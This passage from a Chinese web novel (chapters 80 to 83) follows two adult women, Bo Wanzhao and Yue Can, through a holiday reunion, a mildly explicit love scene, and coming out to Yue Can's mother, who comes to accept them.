薄晚照正陪薄芹她们一起看晚会节目,她时不时瞧手机,又有新消息。 【越灿】给你看个更漂亮的 薄晚照猜到了是什么,但还是问:什么? 跟她想的一样,越灿下一秒发了张自拍过来,身后是绚烂的烟火,而越灿脸上的笑容比烟火更绚烂。 薄晚照盯着照片笑了很久很久,保存下来做了手机墙纸。她起身走到阳台,给越灿打了个视频电话。 越灿立马接通。 薄晚照看她鼻头被风吹红了,“别在外面待太久,今晚好冷。” 越灿冲镜头明媚笑着:“你说点浪漫的行吗?” 薄晚照笑了会儿,跟她说:“宝贝,除夕快乐。” 镜头里的越灿明显听愣了下,转而笑得更甜,“哇,你这么肉麻的?” 薄晚照笑得眉眼温柔,露出一排洁白的牙齿。 越灿要被这笑迷死了,“薄晚照……” “嗯?” “见了面我要听你当面叫。” 第80章 你这么亲妹妹合适吗? 越灿春节期间忙碌,要见的亲朋好友多,她挺不耐烦这种热闹,少不得要被长辈唠叨啰嗦,弄得头大。 刚过完春节她就坐不住了,原本想去找薄晚照,但想到薄晚照好不容易才跟家人团聚,没两天她就将人带走也不合适。 薄晚照的春节过得清静简单许多,没有亲戚走动,她自驾带着薄芹和薄云在南夏周遭的景区玩,晒晒太阳,四下闲逛。 晚上接到越灿的视频时,薄晚照还在南夏郊区的度假酒店,刚从浴室洗完澡出来。 越灿百无聊赖趴在床上,“玩得开心吗?” “开心。”薄晚照理了理刚吹干还凌乱的长发。 越灿盯着屏幕,不禁嘟哝,“早知道跟你一起去了。” 薄晚照看她没什么兴致,“在家无聊?” 越灿哼了声“嗯”。 “我明天下午回来。”薄晚照又说,“去你家一趟,给阿姨拜年。” 想到两个人明天终于能见面,越灿开心挂在脸上,她洋洋得意,“这么快就回来,迫不及待想见女朋友?” 薄晚照坦诚点着头,“想见磨人精了。” 越灿咬咬唇笑,一丝不苟说想念的话语,格外撩拨心弦。 薄晚照以前的确不会直白表达感情,但她现在想做得更好,越灿理应被热烈喜欢着。她自己也享受这种改变,爱与被爱都很幸福。 翌日薄晚照回到市区,下午带着礼物去探望谭茗,给她开门的是越灿。 两人站在门口笑着对视了几秒,没说什么。 越灿拉过薄晚照的手将人牵进屋,谭茗就在一旁,两人规规矩矩的,真跟姐妹见面一样。 薄晚照先将礼物送给谭茗,“阿姨,新年快乐。” “新年快乐。”谭茗笑说着,再瞅一眼越灿。 越灿无奈,早就说过新年快乐了,但她还是有模有样地叫了薄晚照,“姐,新年快乐。” 以前叫薄晚照“姐”,她觉得委屈苦涩,现在叫,就只剩微妙暧昧了。 薄晚照也柔声道:“新年快乐。” “手好凉啊,我给你捂捂。”越灿小声说着,趁机帮她暖暖手。 谭茗倒没察觉哪里不对劲,只觉得俩人感情好,毕竟以前越灿就爱缠着薄晚照,“晚照,先坐,马上就能吃饭了。” “嗯。” 餐桌上,谭茗跟薄晚照话了些家常,得知薄芹状况好转后,也为薄晚照开心。 “晚照。”谭茗突然切了个话题,“你见过灿灿的对象吗?” 越灿:“……” 薄晚照看了越灿一眼,保持着一贯的处变不惊,两人在一起的事肯定不能这么毫无准备地说出来,她稍稍摇头。 “你也没见过?”谭茗没套出话来,有点儿失落,“她谈恋爱了,让她给我看看照片也不肯,神神秘秘的。” 越灿也偷瞥薄晚照一眼,她含糊回答谭茗,“等合适的时候,我带她回来见你。” 谭茗:“行,什么样的人也跟妈说说。” 越灿:“反正很优秀就是了。” 谭茗笑:“到底多优秀,能把你迷成这样?” 越灿没说更多,“到时候见了你就知道了。” 谭茗:“那什么时候才能让妈见一见?” 越灿语塞,都不知道见过多少面了,现在就在眼前,她吞吐着:“……快了。” 话题转到这儿,谭茗顺理成章也关心了一下薄晚照的情况,“晚照你呢,你现在事业也稳定了,有合适的可以尝试,要不要阿姨给你介绍?” 越灿一听立即抬起了脑袋,刚准备说什么,她听到薄晚照先说了“不用”。 谭茗:“还是不想谈恋爱?” 越灿这时冷不防插了句,“她已经谈了,天天秀恩爱。” 谭茗着实意外,看向薄晚照,“真的?” 薄晚照顺着越灿的话承认,“嗯。” 谭茗:“你们姐妹俩也真是,要么都不谈,要么就一起脱单了。” 两人双双沉默了一秒。 晚饭过后,薄晚照陪谭茗聊天。 两人都是工作狂,聊起商务上的事情越灿一窍不通,自己像是多出来的一样,她坐在一旁的单人沙发上,吃着水果玩游戏。 工作的事,家里的事,能说的很多。 薄晚照很少对人提及私事,但会和谭茗聊不少东西,越灿早就发现了这点,薄晚照将谭茗看得很重,她也能理解,毕竟当初谭茗给出的帮助改变了薄晚照的人生…… 越灿不禁想着,要是谭茗知道了她们的关系,反对她们在一起,薄晚照会因为谭茗的要求“妥协”么?她又觉得自己想多了,薄晚照那么有计划的人,既然主动追回自己,那说明做好了准备。 跟谭茗聊天的间隙,薄晚照注意到越灿的走神,“不舒服?” 越灿回神瞧她,还知道关心自己呢?她顺口跟薄晚照说:“你今晚别走了。” 谭茗也说:“喝了酒也不方便开车,就留下吧,家里有空房。” “睡我房间就行了。”越灿说着。 “又不是没空房,干嘛跟你挤。”谭茗说。 “姐不介意的。”越灿煞有其事说着,“是吧?” 薄晚照跟谭茗说:“我跟越灿一起就好,不用太麻烦。” 听到薄晚照答应留下来,越灿嘴角悄然勾起笑,她借口自己太累不舒服,先回房间了。 薄晚照不太放心越灿,没陪谭茗聊太晚,也往南边的卧室走去。 越灿正在卧室翻着相册,前些天打扫卫生时刚好拿了出来,听到敲门声,她起身过去开门,瞧见门口的薄晚照后,知道自己的小心思得逞了。 薄晚照关心问:“哪里不舒服?” 越灿先将人拉进房间,特意把门反锁上,“就是有点累。” 薄晚照笑,看到沙发旁边的相册,她饶有兴致地看了起来,里面大多是越灿中学时的照片,按时间先后收集的。 越灿拉着她挤在沙发上一起看。 翻到高中时补课的一张照片时,两人目光不约而同逗留许久,是高三的那个寒假,薄晚照在书桌前教她做题,照片是谭茗偷拍的,正好留下来当成纪念。 越灿一看到这张照片,就想起当初被薄晚照折磨得痛苦不堪的情形,历历在目。 薄晚照记忆也回溯到从前,越灿还是青涩模样。 越灿偏过头,“当初你没少欺负我。” 薄晚照:“补课叫欺负?” 这似曾相识的口吻,越灿一瞬有些恍然,像回到了青春年少的时光,从最初讨厌薄晚照,再到后来费尽心思想见薄晚照—— 对视片刻,她忍不住靠近,吻了吻薄晚照的唇,亲吻中着年少时的青春悸动,迟来满足。 温热柔软覆上唇瓣,薄晚照垂下眼,目之所及都是怦然心动。 无人打扰的房间,情不自禁轻柔吻在一起,两人藏了一晚的暧昧这才暴露。 越灿蜻蜓点水吻着,当初薄晚照“欺负”她,现在她能换种方式“欺负”薄晚照,感觉挺奇妙的,想到这,她凑唇亲得更用力,手指摸到薄晚照腰间。 薄晚照眼神提醒。 越灿低声说:“锁门了。” 浅尝辄止勾起更多的心痒,片刻,越灿索性起身坐到薄晚照腿上,换了更方便的姿势,她始终低着头细吻薄晚照红唇。 薄晚照微微仰起头,扶住越灿后背,张合着唇瓣回应,唇很快被吻得湿热。 越灿有的是热情纠缠,她偶尔睁眼,喜欢看薄晚照接吻时忘情投入的模样。她抚着薄晚照身子,软舌不停撩拨挑逗。 薄晚照将越灿扣紧在怀里,唇舌逐渐主动。 “嗯——”越灿吻得心跳失控,在曾经熟悉的房间,回忆和现实交织在一起,她想到那些年薄晚照信誓旦旦地说,只能把自己当妹妹,可眼下呢? 深吻间隙,越灿轻喘气,红着脸朝薄晚照笑了笑,“你这么亲妹妹合适吗?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-85 第81章 再做一遍吗? “你什么时候,开始,对妹妹有非分之想的?”越灿边亲边断断续续问,她一直好奇。 薄晚照没想太久,告诉她:“情人节那次。” 那年冬天的情人节,越灿记忆犹新,她还记得在汽车后座帮薄晚照暖手,薄晚照笑得开心的模样。 薄晚照:“我发现……” 越灿:“发现什么?” 薄晚照目光徘徊在她脸庞,“不想把你当妹妹。” 越灿没想到薄晚照居然图谋不轨得这么早,“我那时候把你当姐姐,你居然……” “是吗?”薄晚照及时反问,“特意约姐姐一起过情人节?” 越灿心虚沉默住,她的确早早就对薄晚照心动了,只不过后知后觉。 “后来你各种对我好,是因为喜欢?来西城找我的那次也是?” 薄晚照:“嗯,想去见你。” 越灿回忆着当初的点滴,那时候薄晚照就喜欢她了,也难怪薄晚照会在意自己被学姐表白,细细想来,所有的喜欢都有迹可循。 “薄晚照,你也太能忍了。”越灿低声吐槽,如果那时候薄晚照追她,她一定分分钟就缴械投降。 薄晚照搂紧她,“所以不想忍了。” 越灿呼吸一颤,温热的吻又贴在了她唇间,她心软了软,不再言语,继续垂着头接吻。 夹杂回忆的亲吻微微泛酸,但很快又被甜蜜覆盖。 越灿还坐在薄晚照腿上,一个极不纯洁的姿势,脸红心跳,她按捺不住吻更深,深吻又勾起感觉,她将头埋低,灼热的唇和呼吸开始凌乱落在脖颈和锁骨。 薄晚照轻轻咬唇。 口红印慢慢沾满白皙的脖颈,越灿还在吻,掌心反复游走于心口/柔软,撩拨起伏,越来越放肆。 薄晚照稍稍克制,到底不是在她们自己那,不太合适,她亲了亲越灿耳廓,抓住越灿的手,“规矩点。” “不是说加倍补回来么?”越灿望着她,“七年……你说我们欠了多少?” 薄晚照皱眉笑她:“你脑子里都在想什么?” 越灿笑着反击回去:“我觉得你也好不到哪去。” 薄晚照拗不过越灿撒娇般的眼神注视,待越灿再吻过来时,她松开了越灿的手,缓缓勾上她脖颈,闭眼回应。 卧室有独立的卫浴,没多久,越灿拽着人往浴室去了。 薄晚照依了她。 偷偷摸摸的,今晚自然不能像平时那么放肆。 两道细腰贴在一起克制又动情地轻颤,浴室里的空气因为若有若无的喘息声变得更加灼烫。 “嗯。”越灿咬着她肩头一遍遍浅吟,伸手撑住墙壁,差点儿要站不稳。 薄晚照叹着热气,在她耳畔柔声提醒:“小声一些。” 越灿:“……” 知道不能出声还做这么狠。 她发现薄晚照的占有欲好强,不能轻易招惹。 浴室里洗了大半个小时,她们才出去。 回到床上,越灿急躁将薄晚照抵进被褥里,总是互相取悦才满足,她爱看薄晚照每次都轻而易举就对自己缴械投降。 每每摸到薄晚照手臂上的疤痕,越灿都会埋头多亲一会儿。 薄晚照仰卧着,感觉亲吻在全身蔓延,她隐忍着叹息声,但身体给出的本能反应诚实。 越灿低笑了笑,轻声细语:“对妹妹反应这么大?” 薄晚照攀住她肩膀,垂眼呼着气:“那喜欢吗?” 越灿耳根热了热,永远猜不到薄晚照能一本正经说出什么骚话,她又低估了某人的闷骚程度。 又一会儿,薄晚照抱紧越灿细滑温暖的身子,像要把两人镶在一起。 越灿低头亲她鼻尖和嘴角,心血来潮问:“薄老师,要‘再做一遍’吗?” 薄晚照抬眸看她,“……这么记仇?” 越灿在她唇上又亲又咬,任性笑说:“是,越灿同学超记仇的。” 薄晚照被亲吻堵得无暇言语,不久,又是热意席卷。 越灿低头勾起嘴角,继续缠着说:“你不夸一下?”一如当初补习时那样,厚着脸皮要薄晚照夸她。 薄晚照无奈笑,老大不小了还这么幼稚折腾。 越灿盯着她,用不依不饶的目光催促,偏要等她说什么。 薄晚照这时将人再往自己怀里勾了勾,极轻地说:“宝贝,很棒。” 果然什么要求都会满足自己,现在是女朋友,比以前还要纵容,越灿听得心酥软,又直笑,薄晚照连她当初说的玩笑话都还记得…… 配合完某人的幼稚恶趣味,薄晚照也笑了,越灿给她的回忆都太珍贵,不舍得忘。 越要隐忍的环境反而越失控,房间里安静热烈的氛围持续了许久,才消退。 突兀的敲门声响起时,越灿正抱着薄晚照,断断续续在她身上留下亲吻。 戛然而止,一秒被拽入现实。 虽然锁了门,越灿心跳还是随着敲门声快了快。 两人不约而同静下来。 敲门声过后,门外传来谭茗的声音:“你们要不要吃宵夜?” 此刻房间里满地都是凌乱的衣衫,肯定开不了门,越灿缓了缓,硬着头皮对谭茗大声说:“妈,我们不吃了,准备睡了。” 谭茗听到后应了声,便离开了。 房内只剩安静的拥抱,越灿尴尬往薄晚照怀里凑了凑, 现在知道不好意思了,薄晚照尴尬又好笑,慢慢冷静下来。 沉默了好一阵。 越灿探过头看看薄晚照,小声问:“你怕不怕我妈知道我们的关系?” 好不容易走到一起,她应该信任薄晚照的,但心里还是隐隐忐忑,不问出来憋得难受。 “不怕。”薄晚照没有犹豫,她一向有打算,既然决定了在一起,那就准备好了面对以后可能出现的情况。 越灿:“嗯。” 薄晚照知道这是越灿心里的一个疙瘩,她当初拒绝越灿时,对越灿说只能把她当妹妹……她想了想,商量说:“找个合适的时机,我们跟阿姨坦白,好不好?” 越灿怔怔,没想到薄晚照会这么快提出来。 薄晚照:“不愿意?” “没。”越灿也不想总是藏着掖着,想她们能光明正大在一起。 薄晚照揉着她头发,“别胡思乱想了。” 越灿笑,心踏实下来- 春节假期过后,薄晚照又恢复了忙碌的工作节奏,越灿则要懒散许多,通告暂时不太紧。 除了公司的工作,薄晚照还协助谭茗打理基金会的事务,她现在有能力,也力所能及地做一些公益项目。困境中的一点帮助,有时真的能改变一个人的命运。 晚上越灿洗完澡出来,还听到薄晚照跟谭茗在打电话。等薄晚照挂断电话,她问:“我妈说什么事?” 薄晚照:“明天下午有慈善拍卖活动,阿姨叫我一起去。” 慈善拍卖活动也是种变相的商务社交,一举多得,谭茗显然很器重薄晚照,去哪都想带上。 越灿想到自己一个人在家也无聊,“我也去。” 薄晚照:“你不怕无聊?” “想跟你一起去。” 越灿的确不爱这种带有交际性质的活动,她是抱了私心,就是想看薄晚照穿礼裙,在社交场合耀眼夺目的模样,她错过了好多这样的瞬间。 翌日下午出发前,她们在衣帽间挑了好半天,裙子都是亲自给对方换上的,都很清楚对方怎么穿好看。 薄晚照换了条清冷耀眼的银白长裙,越灿选了条骚包的黑色吊带长裙,换好后照着镜子,挺南辕北辙的风格,但抱在一起时又意外般配。 换裙子的时候越灿不太规矩,两人在衣帽间里亲亲蹭蹭,耽误了许久才出发。 两人一到活动现场,吸足了围观目光。 谭茗也已经到了,看到自己宝贝女儿出现时,还以为眼花*看错了,以前这种场合越灿拽都拽不过来。 “妈。” “阿姨。” 谭茗问越灿:“你怎么过来了?” 越灿有模有样说:“过来见见世面。” 谭茗看看越灿身旁的薄晚照,“陪你姐过来的?就听你姐的话。” 越灿有口难开,什么姐啊,女朋友。 “晚照,带你去见见张总。” 越灿不禁吐槽:“谭总,到底谁是你女儿啊?” 谭茗:“你自己逛,别喝太多酒,乖。” 越灿笑了笑,无奈由着薄晚照被谭茗带走。 薄晚照不忙的时候,她就陪在薄晚照身边,两人悄悄聊天说话;薄晚照忙的时候,她便在一旁看着,她喜欢看薄晚照在这种场合游刃有余的样子,自信又迷人。 她见过薄晚照最狼狈的时候,知道薄晚照一步步走到今天有多不容易,好在得偿所愿了,那年她在古树下的祈愿真的灵了。 拍卖会的流程冗长乏味,一直持续到晚上,越灿犯困了,就靠在薄晚照肩上休息。 薄晚照转过头看她,低声问:“困了?要不要先回去?” 越灿抬眸笑:“等你一起。” 熬到八点才结束,越灿腰都坐累了。 谭茗要离开时,问了问越灿,“今晚回不回家?” 越灿想都没想:“不回。” 谭茗没好气地说:“现在处对象了更不着家了,偶尔也想想你老妈。” 越灿:“……” “行了。”谭茗又笑说,“我先走了,你们自己回去。” 越灿:“我送你。” 谭茗说:“不用,有司机。” 越灿不喜欢人挤人,等宴会厅里的人散得差不多,才和薄晚照乘电梯下楼。 电梯里没其他人,越灿靠近牵住薄晚照的手,十指紧扣上,一路走到地下车库。 薄晚照看向越灿侧脸,“头发。” 越灿偏过头,“哪里?” 薄晚照细心帮她整理。 越灿趁机偷亲一口,得逞后直笑。 薄晚照也笑了笑,隔着近距离说她,“幼不幼稚。” 越灿还想再亲一下时,听到有脚步声靠近,她回头看,人傻愣在了原地,“妈……” 第82章 什么都愿意。 谭茗神色沉静,看不出具体情绪,也没开口言语。 面对着谭茗,薄晚照没有回避什么,依旧牵着越灿的手。 其实要瞒也能瞒,但越灿感觉到薄晚照反而把自己牵更紧了,坚定,毫无动摇。 短短几秒的沉默对峙,心情都复杂。 也不能这么僵着,越灿酝酿措辞。 “阿姨,这件事本来应该告诉你的。”薄晚照冷静开了口,坦诚道,“我跟灿灿在一起了。” 谭茗依旧沉默,过年时还有今晚上,她隐隐察觉到两人之间过于亲密了,说不清的感觉,但又觉得是自己多想…… 她们找了家咖啡厅坐下说话。 谭茗喝着水,还在缓神。 咖啡厅内的音乐悠扬放松,越灿神经却是绷着的,她小心翼翼试探问:“妈,你缓过来了吗?” 谭茗皱了皱眉,还好意思问,现在想来,也难怪越灿藏着掖着,怎么也不肯给自己看照片,每次问起来都支支吾吾。 “我一直没跟你说,我喜欢女人。”越灿想了想,“我们的事应该早点告诉你的,你肯定会支持我们,是吧?” 好一个先发制人,谭茗噎了噎,“我什么时候说支持了?” “妈。”越灿立即撒娇喊了喊。 谭茗:“你少来这套。” “阿姨,我知道你一时可能有点接受不了。”薄晚照说着,“但我跟灿灿是认真的。” “我一直以为你把灿灿当妹妹。”谭茗扶了扶额头,哪成想照顾成了女朋友。 薄晚照默了默,因为谭茗这层关系,她曾经也一度觉得自己不该对越灿有越界的念头,她欠了谭茗许多人情,不该辜负谭茗的信任,但一码归一码,喜欢上就是喜欢上了。 谭茗转而看向越灿,“你怎么连自己姐姐都招惹?” 越灿:“……” 薄晚照立即解释:“是我追的灿灿。” 谭茗更意外了,她本来笃定是越灿死缠烂打,薄晚照才答应的。 “是我先招惹的。”越灿接过话,“我就是喜欢她,不想把她当姐姐,想她当我女朋友。” 谭茗听了,“你害不害臊?” 越灿理直气壮:“反正就是喜欢上了,有什么办法?” 谭茗日常对女儿头疼,这回弄了个大的。她虽然不是古板的人,但这也太突然了。 “阿姨,以前我和你说过没考虑找另一半,但越灿不一样,我是真心想跟她在一起,我真心喜欢她。”薄晚照又说了许多,“您放心,我一定会对越灿好,我会照顾好她。” 这番话说得真挚,谭茗只是叹气,她知道薄晚照不是乱来的人,从小到大都懂事得让人心疼。 晚上谭茗没有表态,虽然没有激烈反对,但越灿心里还是没底。 回到家后,越灿第一时间抱住了薄晚照,她明白薄晚照今晚对谭茗主动坦白,需要多少勇气,薄晚照以前不会拒绝谭茗的任何请求。 薄晚照也抱过她,拥抱安心。 越灿:“其实今天不坦白也没关系的。” “没事。”就算今晚没有被撞见,薄晚照也想主动找谭茗说清,她想早点解开这个心结,让越灿没有顾虑地和自己在一起。 “那如果,”越灿问,“我妈逼你离开我,怎么办?” “其他事我可以听阿姨的,这件事不会。”薄晚照温柔笑了笑,“这是我们之间的事。” 越灿点头,“嗯。” 薄晚照看着她眼睛,“从决定追你的时候起,我就想好了,我们以后还会遇到很多事,开心的不开心的,不管怎样,都一起面对。” 至于结果如何,交给时间去考验,这样至少不会后悔。 越灿感动,是她患得患失想太多了,薄晚照从来不是没计划的人,一旦选择了就会坚定,根本不需要不安,她抱紧怀里的人,满满都是安全感。 薄晚照问她:“愿意吗?” “愿意,什么都愿意。”- 钟然得知越灿出柜之后,又羡慕又担心的,她给越灿打电话,“你妈接受了?” 越灿:“没,她估计一时半会缓不过来。” 钟然:“那肯定啊,这么刺激……不过你妈那么疼你,应该不会逼你什么吧?” “我准备再跟她谈谈。” 虽说感情是两个人的事,但如果可以,越灿还是希望能得到谭茗的支持,薄晚照应该会更开心。 越灿又回了趟家。 谭茗下班回来后,发现越灿在厨房忙碌,太阳打西边出来了。 “工作狂回来了。” 谭茗:“你今天怎么回来了?” 越灿厚脸皮笑说:“想你了。” 谭茗目光锐利,自己肚子里出来的人,越灿在盘算什么,她心里门清,“你心里还有我这个妈?” 越灿:“怎么没有了?最爱你了。” 谭茗摆出个嫌弃的表情,嫌她肉麻。 越灿暂时没提跟薄晚照的事,谭茗也没提,母女俩在一起吃了顿安静的饭,气氛微妙。 最后还是谭茗先开口打破沉寂,“你想说什么就说。” 越灿小声挑起话题,“还是接受不了?” 谭茗这些天也一直在想这事,就算是自己女儿,感情方面她也插不了手,所以这些年她从没催过越灿谈恋爱结婚。 “你不是什么都会支持我吗?你以前不是说,只要我开开心心就行么,我跟薄晚照在一起就很开心。” “这件事跟其他事不一样,你想好了吗?”谭茗停下筷子,认真起来,苦口婆心说着,“你也知道晚照很不容易,感情的事要负责的,你别闹着玩。” 想来想去,这件事她最不放心的,是怕薄晚照认真了越灿却是一时兴起,到时候伤了薄晚照。她太清楚自己女儿的脾气了,总是任性,想一出是一出。 “我没闹着玩,我是认真的。”越灿才知道谭茗是在顾虑这些,又觉得感动,谭茗真的很为薄晚照着想。 谭茗:“真的?” 越灿听到这声质疑挺委屈的,她是对很多事情都无所谓,但唯独对薄晚照的喜欢是例外,“妈,我喜欢她很久了,我一直不谈恋爱,就是因为心里放不下她。你不知道,我等了好多年,她才回来……” 她这才跟谭茗说起她跟薄晚照之间的点点滴滴,忍不住红了眼眶。 谭茗没想到女儿竟有认真成这样的时候。她看越灿涌出眼泪时,都要心疼死了,哪见过女儿这么哭,忙上前擦着眼泪,哄着说:“别哭了。” 越灿红着眸子,哽咽道:“我就想跟她在一起,不想再错过了。” 谭茗连说带哄:“好好好。” 越灿含泪说着:“你不是说把薄晚照当半个女儿么,现在可以直接当女儿了。” 谭茗无奈,说不过磨人精。 …… 薄晚照晚上加了班,将近九点才到家。 越灿也刚回来不久,正在坐在沙发上逗猫。 薄晚照脱下外套走了过去,跟需要充电似的,拉过越灿先抱一抱。 越灿搂她腰,得了便宜还卖乖,“你怎么这么黏啊。” 薄晚照低声笑,嗓音里带着疲惫,“不可以么?” 越灿:“加班累了?” “嗯。”薄晚照看清越灿眼睛后,第一时间发现了不对,“哭了?” 果然瞒不住,越灿哭过后眼睛能红好久。 薄晚照紧张问:“怎么哭了?” “没什么事。”越灿云淡风轻说着,“我今晚回去找了我妈……” “怎么不跟我说,”薄晚照隐隐猜到,更紧张担心,“今晚吵架了?” 越灿摇着头,“我就是,跟她说了很多我们的事。” “下次不能这样了,有什么我们一起。” 越灿:“你知道我妈担心什么吗?” “什么?” “她担心我对你不是认真的。”越灿眉眼含笑,“她让我也要好好照顾你。” 虚惊一场,薄晚照松口气笑了起来,又暖心得鼻酸。 越灿问:“开心吗?” “开心。” 越灿越来越得瑟,“幸福吗?” 薄晚照一一应着她,“幸福。” 越灿笑着吻她唇边,都迫不及待了,“明天跟我回家见家长。” 第83章 余生漫漫。 跟谭茗坦白之后,越灿总算解决了一桩大心事,她实在不擅长藏着掖着,憋得难受。第二天晚上,她迫不及待带了薄晚照回家吃饭,算正式见家长。 一到家,越灿朝谭茗笑得格外甜,“妈。” 薄晚照也笑着打招呼,“阿姨。” 谭茗看到两人手里都拿着礼物,轻声说了句:“还带东西干嘛。” 越灿:“毕竟第一次正式见家长。” “进来。”谭茗看两人手牵手暧昧甜蜜的模样,一时间还是不能习惯,这么多年都是把两人当姐妹看,这一下成了小两口,得亏她承受能力强…… 身份不一样了,晚上一起吃饭,餐桌上的气氛也跟往日有点儿不一样。 谭茗话比平时少。 “妈,”越灿给谭茗夹菜,“你爱吃这个。” 谭茗见她这殷勤的模样又觉得好笑,话里有话地感叹一声,“难怪这几个月都不怎么回家。” “前段时间工作忙……”越灿又看薄晚照一眼,跟谭茗说,“以后我们常回来陪你。” 谭茗无可奈何瞥瞥她,这下真多了个女儿了。 吃饭间隙,薄晚照又和谭茗说了基金会新项目的事,聊了起来,氛围才稍稍没那么别扭。 薄晚照说着话,顺便又帮越灿盛碗汤。 越灿很自然地接过喝。 谭茗瞧在眼里,忍不住朝越灿多说一句:“别老是让你姐照顾你。” 你姐二字说出来,餐桌上的人都静了静。 谭茗些许尴尬,说习惯了。 越灿纠正:“女朋友。” “行。”谭茗跟着改了口,“别老让女朋友照顾你。” 越灿乐了,“嗯,我知道。” 薄晚照跟谭茗道:“阿姨,灿灿挺会照顾人的,对我很好。” 谭茗想到越灿之前还特意学煲汤,原来是为了薄晚照,是挺会心疼人的。 越灿用湿纸巾擦干净手,剥了只虾,然后送到薄晚照嘴边喂给她吃。 一旁谭茗还在看着,薄晚照悄声说了说:“别闹。” 越灿嘀咕,“不表现一下,我妈觉得我对你不好。” 谭茗见两人腻歪的模样,不禁笑了笑。 越灿瞧见谭茗终于笑了起来,她开玩笑说着,“谭总,你女儿是不是很能耐?” 谭茗:“什么能耐?” 越灿小表情得意:“找到这么好的女朋友啊,让你多一个这么优秀的女儿。” 薄晚照看越灿越来越飘的模样,给了她一个眼神。” 谭茗煞有其事点点头,“这倒是的。” 你一言我一语,餐桌上的氛围渐渐轻松。 “晚照,你多吃点。”谭茗温声跟薄晚照说着,“平时别太惯着磨人精了。” “有你这么对自己女儿的?”越灿不禁笑着吐槽,“你不应该担心薄晚照对我不好吗?” “这个我不担心。”谭茗确实不担心薄晚照,她太清楚薄晚照的性格了,只要承诺过,就一定会好好做到,可以放一千个心。 越灿:“你这是偏心,我吃醋了。” 谭茗说得越来越自然:“吃自己女朋友的醋?” 薄晚照听着母女俩的聊天直笑,她一直都羡慕越灿和谭茗之间的相处模式,轻松愉快。 “晚照,”谭茗笑了笑,说得真挚,“以后就真的是一家人了。” 薄晚照感觉自己如此幸运,笑着认真点头,“嗯。” 越灿悄悄牵住薄晚照的手,望着她笑得开心。 谭茗也欣慰笑,她从来对女儿没什么要求,能开心就好。她也看得出来,两人是真心喜欢彼此,能跟相爱的人走到一起,是难能可贵的幸运。 晚上越灿和薄晚照没有回自己那,多陪了陪谭茗。 这几天都心思重,越灿睡得不好,今晚终于可以无负担睡个好觉。 薄晚照洗完澡出来,见越灿窝在被褥里睡着了,放轻了上床的动作。 越灿没完全睡着,所以当轻柔的亲吻落在唇上时,她睁了睁眼,笑很甜,忍不住在想薄晚照偷偷吻过她多少次。 薄晚照:“吵醒你了?” “还没睡。”越灿熟练抱上她,倦意让嗓音低哑,“等老婆一起。” 薄晚照怔了半秒。 越灿也短暂停顿,眼底笑意更浓,迷迷糊糊就叫出来了。 对视笑了许久,全是甜蜜。 越灿摸她脸颊,“我妈就是别扭,其实心里可开心了,巴不得收了你做女儿。” 薄晚照勾了勾唇,再亲一亲她嘴角,“睡觉。” 越灿亲回去,蹭她鼻尖,含含糊糊笑说:“要老婆抱。” 老大不小还动不动撒娇,薄晚照笑而不语,躺下时不动声色将人搂紧在怀里- 和家里公开关系之后,最大的变化大概是她们更高调了,手指上多了对戒。 情人节那天,越灿在朋友圈发了两张照片,一张是八年前的情人节她们一起看烟火,另一张是八年后的今天,同一角度和姿势,只不过两人都变得更加成熟。 【八年前,八年后,还是只喜欢你】 刚发出去不久,越灿就收到了一堆的祝福和羡慕,很快谭茗也给她点了赞,还不忘评论一句:真般配。 谭女士对多了一个女儿这件事,接受得很快,现在每周聚餐,都让越灿记得带薄晚照一起,千叮咛万嘱咐的。 年后忙了一段时间,等薄晚照休假,越灿说想出去旅行,两人很默契地,都想去京海。 正值春花烂漫的时节,京海每天都是骄阳高照,晒得人暖洋洋的,把时光都晒懒了。 在越灿的陪伴下,薄晚照难得慢下节奏,过了悠闲的几天。 她们在街头牵手闲逛,喝同一杯咖啡,一起看日出日落,拍照留念,在无人打扰的角落拥抱接吻——就像在填补曾经很多个没能陪伴在彼此身边的时刻。 缺失的遗憾可以慢慢弥补,重要的是,现在她们有好好在一起。 甜甜蜜蜜的短期旅行结束,越灿也忙了起来,大概是被家里的两位工作狂感染了,她现在事业心也重了点,正好宋镜又想创立子品牌,她想多入点股,当个大老板。 晚上需要加班拍摄的时候,薄晚照只要有空,都会来片场陪她。 越灿每次发现薄晚照注视她的目光时,又暖又甜,但事后还是要嘴硬说:“拍摄有什么好看的,你看不腻?” 薄晚照:“你站在镜头下的时候。” 越灿看着她。 薄晚照:“很有魅力。” 越灿没少被人这么夸过,但听到薄晚照认认真真说出这句话,完全是不一样的开心,她扬了扬唇边,又嘟哝,“我平时没魅力么?” 薄晚照笑,“有。” 越灿满意了,她理解这种心情,就好像她看见薄晚照工作的时候,也觉得薄总超级迷人。 这几天越灿拍摄累着了,回家途中,坐在副驾驶就睡着了,还是被薄晚照叫醒的。 薄晚照有发觉越灿最近通告接得多,她问:“最近这么努力工作?” 越灿懒洋洋看她,“家里两个工作狂,我被传染了。” 薄晚照伸过手帮她按摩着脖颈。 越灿舒服得眯了眯眼,又不禁问薄晚照:“我要是太没上进心,你会不会嫌弃我?” 薄晚照笑了,“胡说什么。” 越灿哼着:“你那么努力,我不能太落后吧……” 薄晚照语气变认真:“不用改变什么,本来就很好。” “嗯。”越灿嘴角弯了弯,她觉得自己在薄晚照面前是最自由的,可以毫无负担做真实的自己,任性一点幼稚一点都没关系。 薄晚照工作忙的时候更多,越灿比起她来,真是小巫见大巫。 夜深,越灿洗完澡出来,薄晚照还坐在沙发上打电话,跟谭茗讨论慈善工作方面的事情。 越灿合理怀疑周末谭茗又要把薄晚照叫走,她无聊,也在沙发上坐下,慵懒往薄晚照身上靠了靠。 身体乳的香气包裹过来,薄晚照回头看。 越灿将下巴支在她肩膀上,直直瞧她,再靠近一些,伸手搂住她的腰。 薄晚照见她一味黏过来,将手机移开,轻声说:“别抱,我还没洗澡。” 越灿:“……” 白穿一身吊带过来晃悠了。 薄晚照又继续听着谭茗的电话。 越灿见她恢复一丝不苟的模样,偏不规矩,捞开她的长发,亲她耳根敏感的位置,手指解着衣扣,将衬衫撩得渐渐凌乱。 薄晚照吸了吸气,目光警告止不住某人的放肆。 越灿服了,这时候居然还能保持淡定打电话,她继续撩拨,拨开衬衫领口,露出白色内衣,半隐半现的柔软在轻微起伏,她低头细吻,全是敏感位置。 薄晚照心口的起伏越来越大,她抽出一只手按了按越灿脑袋,想让她老实点。 看她身体反应坦诚,越灿抬抬头笑,无声吻她红唇,悄悄问了声:“还要多久啊?” 薄晚照被迎面而来的灼热呼吸勾得燥,但还是忍了忍,给了越灿一个眼神,让她再等等。 